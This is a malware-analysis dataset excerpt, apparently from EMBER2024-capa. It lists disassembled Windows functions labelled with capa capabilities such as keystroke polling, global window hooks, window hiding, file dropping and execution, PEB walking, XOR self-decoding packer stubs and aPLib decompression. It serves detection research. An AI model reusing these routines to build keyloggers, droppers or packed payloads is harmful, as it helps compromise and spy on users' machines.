joyce8/EMBER2024-capa huggingface dataset:
Function at 0x446684
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4466bc]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44669d
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4466ac
or bl, 4
test esi, 0x20000000
je 0x4466b7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44cd80
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44cd92
add esp, 0xfffffff0
call fcn.00403864
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419f34
mov eax, dword [0x474fcc]
mov dword [eax + 4], ebx
mov dword [eax], 0x44d124
mov eax, dword [0x474fd8]
mov dword [eax + 4], ebx
mov dword [eax], 0x44d130
mov eax, ebx
call fcn.0044d13c
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x4120a0]
call fcn.004034fc
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x4120a0]
call fcn.004034fc
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x4120a0]
call fcn.004034fc
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x4120a0]
call fcn.004034fc
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x4120a0]
call fcn.004034fc
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x449554
push eax
push 0
push 0
mov eax, dword [0x475148]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41b984]
call fcn.0041d044
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41b984]
call fcn.0041d044
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41b984]
call fcn.0041d044
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044d640
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44d4c0
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44d4c0
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44d4c0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44cecf
call fcn.004038bc
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44d2a4
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44d44f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44d430
mov dl, 1
mov eax, dword [0x4124dc]
call fcn.004034fc
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004042b8
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44d41f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043b150
test al, al
je 0x44d412
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44d460
lea eax, [ebp - 0x254]
call fcn.00409060
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44d412
xor eax, eax
push ebp
push 0x44d40b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44d498
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44d3f4
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404528
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44d3f4
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404528
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d412
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44d315
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004160cc
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d456
lea eax, [ebp - 0x260]
call fcn.004042b8
ret

Function at 0x44dde0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x476b44]
cmp byte [eax + 0xa5], 0
jne 0x44de51
cmp dword [0x476b5c], 0
jne 0x44de12
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44dd9c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x476b5c], eax
cmp dword [0x476b58], 0
jne 0x44de2d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x476b58], eax
cmp dword [0x476b60], 0
jne 0x44de51
push esp
push 0
push 0
push 0x44dd40
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x476b60], eax
pop edx
ret
Function at 0x44e4e4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x476b44]
cmp dword [eax + 0x30], 0
je 0x44e58e
cmp dword [ebx + 0x94], 0
jne 0x44e588
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44e474
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44e588
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44e54e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44e588
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004144c8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44e55d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44f0ec
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44f121
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004043a8
jmp 0x44f12e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.0040430c
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x450240
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x450281
mov eax, esi
call fcn.00436908
test al, al
je 0x450281
mov eax, dword [ebx + 0x84]
call fcn.00436630
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x450281
push 0
mov eax, dword [ebx + 0x84]
call fcn.00436630
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x4013f0
Capabilities:
Check if file exists
Copy file
Create process on windows
Get common file path
Get file attributes
Move file
Read .ini file
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xc24
mov edx, ecx
mov ecx, 0x41
xor eax, eax
push ebx
push esi
push edi
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x218]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x420]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov ecx, edx
push eax
call fcn.00401900
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [esp + 0x10]
push str.iexplore.exe
push ecx
call esi
lea edx, [esp + 0x218]
push 0x104
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x420]
push eax
push 0x104
call ebx
lea ecx, [esp + 0x420]
push str.win.ini
push ecx
call esi
lea edx, [esp + 0x10]
lea eax, [esp + 0x218]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4015ab
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4014ea
lea edx, [esp + 0x628]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x628]
push edx
push 0x104
rep stosd dword es:[edi], eax
call ebx
lea eax, [esp + 0x628]
push str.QQ.tmp
push eax
call esi
lea ecx, [esp + 0x628]
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__wrename]
add esp, 8
push ebp
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0x220]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea edx, [esp + 0x424]
lea eax, [esp + 0x21c]
push edx
push eax
push 0x404480
push 0x404478
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
lea ecx, [esp + 0x14]
push 0x404470
push ecx
call dword [sym.imp.MSVCRT.dll__wfopen]
add esp, 8
mov ebx, eax
mov ebp, 0x7800
call dword [sym.imp.MSVCRT.dll_rand]
push ebx
mov ecx, pe_nt_image_headers32
lea esi, [esp + 0x14]
lea edi, [esp + 0x838]
push 0x400
lea edx, [esp + 0x83c]
mov dword [esp + 0x18], eax
push 1
rep movsd dword es:[edi], dword [esi]
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
dec ebp
jne 0x40153a
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea eax, [esp + 0x14]
push 5
push 0x40497c
push 0x40497c
push eax
push 0x404464
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0xa
call dword [0x404a34]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop ebp
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x218]
lea edx, [esp + 0x218]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x420]
push ecx
push 0x104
push edx
push str.ERROR
push 0x404480
push 0x404478
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [esp + 0x218]
push eax
call dword [0x4049e8]
lea ecx, [esp + 0x420]
push ecx
call dword [0x4049e8]
pop edi
pop esi
pop ebx
add esp, 0xc24
ret
Function at 0x401610
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x208
mov edx, ecx
mov ecx, 0x82
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov ecx, edx
push eax
call fcn.00401900
lea ecx, [esp + 8]
push 0x4044b0
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [esp + 8]
push edx
call dword [0x4049e8]
lea eax, [esp + 8]
push 0x4044a8
push eax
call dword [sym.imp.MSVCRT.dll__wfopen]
mov esi, eax
push esi
push 0x38c
push 1
push 0x404021
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x1c
pop edi
pop esi
add esp, 0x208
ret

Function at 0x401690
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
sub esp, 0x638
push ebx
push ebp
push esi
push edi
mov ebp, ecx
call fcn.004013f0
mov ecx, ebp
call fcn.00401610
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x40]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x40]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x18]
push eax
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
add esp, 8
lea esi, [esp + 0x18]
mov edi, 0xa
call ebx
cdq
mov ecx, 0x14
add esi, 2
idiv ecx
add edx, 0x41
dec edi
mov word [esi - 2], dx
jne 0x4016f2
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [esp + 0x18]
push str..TMP
push edx
call esi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x40]
push eax
push ecx
call esi
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x40]
mov ecx, ebp
push eax
call fcn.004017c0
lea ecx, [esp + 0x40]
push 0x404470
push ecx
call dword [sym.imp.MSVCRT.dll__wfopen]
add esp, 8
mov ebp, eax
mov dword [esp + 0x10], 0x2800
call ebx
push ebp
mov ecx, pe_nt_image_headers32
lea esi, [esp + 0x18]
lea edi, [esp + 0x24c]
push 0x400
lea edx, [esp + 0x250]
mov dword [esp + 0x1c], eax
push 1
rep movsd dword es:[edi], dword [esi]
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [esp + 0x20]
add esp, 0x10
dec eax
mov dword [esp + 0x10], eax
jne 0x40175b
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x638
ret

Function at 0x4017c0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebx
push esi
push 0x4044e0
push 0x81
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x40181d
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x40181d
mov eax, dword [esp + 0xc]
push edi
push 0x4044a8
push eax
call dword [sym.imp.MSVCRT.dll__wfopen]
mov edi, eax
push edi
push ebx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x1c
pop edi
pop esi
pop ebx
ret 4
Function at 0x401900
Capabilities:
Get common file path

Disassembly:
sub esp, 0x208
lea eax, [esp]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x40195b
lea ecx, [esp]
push 0x4044e8
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [esp]
push 0
push edx
call dword [0x404990]
mov ecx, dword [esp + 0x20c]
lea eax, [esp]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, 1
add esp, 0x208
ret 4
xor eax, eax
add esp, 0x208
ret 4

Function at 0x401970
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x4019bf
mov ecx, dword [esp]
push esi
mov esi, dword [esp + 0xc]
push edi
push esi
push ecx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov edx, dword [esp + 8]
mov edi, eax
push edx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0x4044f8
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, edi
pop edi
pop esi
pop ecx
ret 4
xor eax, eax
pop ecx
ret 4
Function at 0x401d50
Capabilities:
Check os version

Disassembly:
sub esp, 0x114
lea eax, [esp]
mov dword [esp], 0x114
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov eax, dword [esp + 0x10]
cmp eax, 1
jne 0x401d94
cmp dword [esp + 4], 4
jne 0x401e0f
cmp dword [esp + 8], 0xa
jae 0x401e0f
mov eax, 1
add esp, 0x114
ret
cmp eax, 2
jne 0x401e0f
mov eax, dword [esp + 4]
cmp eax, 3
jne 0x401db5
cmp dword [esp + 8], 0x33
jne 0x401e0d
mov eax, 1
add esp, 0x114
ret
cmp eax, 4
jne 0x401dce
mov eax, dword [esp + 8]
test eax, eax
jne 0x401e0d
mov eax, 1
add esp, 0x114
ret
cmp eax, 5
jne 0x401e04
mov eax, dword [esp + 8]
test eax, eax
jne 0x401de7
mov eax, 1
add esp, 0x114
ret
cmp eax, 1
jne 0x401df3
add esp, 0x114
ret
cmp eax, 2
jne 0x401e0d
mov eax, 1
add esp, 0x114
ret
cmp eax, 6
jne 0x401e0d
mov eax, dword [esp + 8]
xor eax, eax
add esp, 0x114
ret

Function at 0x401e20
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x140
push edi
mov ecx, 9
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
mov ecx, 0x47
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x11c
push eax
call dword [0x4049a0]
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
pop edi
je 0x401e77
lea ecx, [esp]
push ecx
call eax
jmp 0x401e82
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0x34]
mov ecx, 2
cmp eax, ecx
jne 0x401edb
mov eax, dword [esp + 0x28]
cmp eax, 4
jbe 0x401edb
cmp eax, 5
jne 0x401ec2
cmp dword [esp + 0x2c], ecx
jne 0x401edb
mov cl, byte [esp + 0x13e]
mov eax, 1
cmp cl, al
jne 0x401edb
cmp word [esp], 9
jne 0x401edb
add esp, 0x140
ret
cmp eax, 6
jb 0x401edb
cmp word [esp], 9
jne 0x401edb
mov eax, 1
add esp, 0x140
ret
xor eax, eax
add esp, 0x140
ret
Function at 0x401f60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov edi, dword [eax + 0x24]
mov ebx, dword [eax + 0x1c]
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x18]
mov ebp, dword [eax + 0x10]
add edi, esi
mov dword [esp + 0x14], edi
mov edi, dword [esp + 0x20]
add ebx, esi
add ecx, esi
test edi, 0xffff0000
mov dword [esp + 0x10], edx
jne 0x401fbb
cmp edi, ebp
jb 0x401fef
mov ecx, dword [eax + 0x14]
lea edx, [ecx + ebp - 1]
cmp edi, edx
ja 0x401fef
sub edi, ebp
mov eax, dword [ebx + edi*4]
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret
xor ebp, ebp
test edx, edx
jle 0x401fef
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x1c]
mov eax, esi
add eax, dword [ecx]
push eax
push edi
call fcn.00401f10
add esp, 8
test eax, eax
je 0x401ff9
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
inc ebp
add ecx, 4
cmp ebp, eax
mov dword [esp + 0x1c], ecx
jl 0x401fc5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [esp + 0x14]
xor edx, edx
pop edi
mov dx, word [eax + ebp*2]
mov eax, dword [ebx + edx*4]
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x402010
Capabilities:
Access peb ldr_data

Disassembly:
xor ecx, ecx
mov esi, dword fs:[ecx + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
mov eax, dword [esi + 8]
mov edi, dword [esi + 0x20]
mov esi, dword [esi]
cmp byte [edi + 0x18], cl
jne 0x40201c
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x41110eda
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, str._
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x2a690fcb
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x4012f0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
and esp, 0xfffffff0
mov eax, 0
add eax, 0xf
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00401840
call sym.___main
mov dword [esp], str.start_cmd
call sub.msvcrt.dll_system
mov eax, 0
leave
ret

Function at 0x4018e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init
Function at 0x108b2058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.108b21a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x108b207e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x108b206a
add dl, dl
jne 0x108b2089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x108b20dc
xor eax, eax
add dl, dl
jne 0x108b2096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x108b217d
add dl, dl
jne 0x108b20a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108b20b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108b20bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108b20c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x108b20d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x108b2075
mov eax, 1
add dl, dl
jne 0x108b20ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x108b20f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108b20e1
sub eax, ebx
mov ebx, 1
jne 0x108b2128
mov ecx, 1
add dl, dl
jne 0x108b210e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x108b2119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108b2105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x108b2075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x108b213f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x108b214a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x108b2136
cmp eax, 0x7d00
jae 0x108b216d
cmp eax, 0x500
jb 0x108b2168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x108b2075
cmp eax, 0x7f
ja 0x108b2170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x108b2075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x108b219e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x108b2075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..retplne
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x115644df
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x291327bc
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219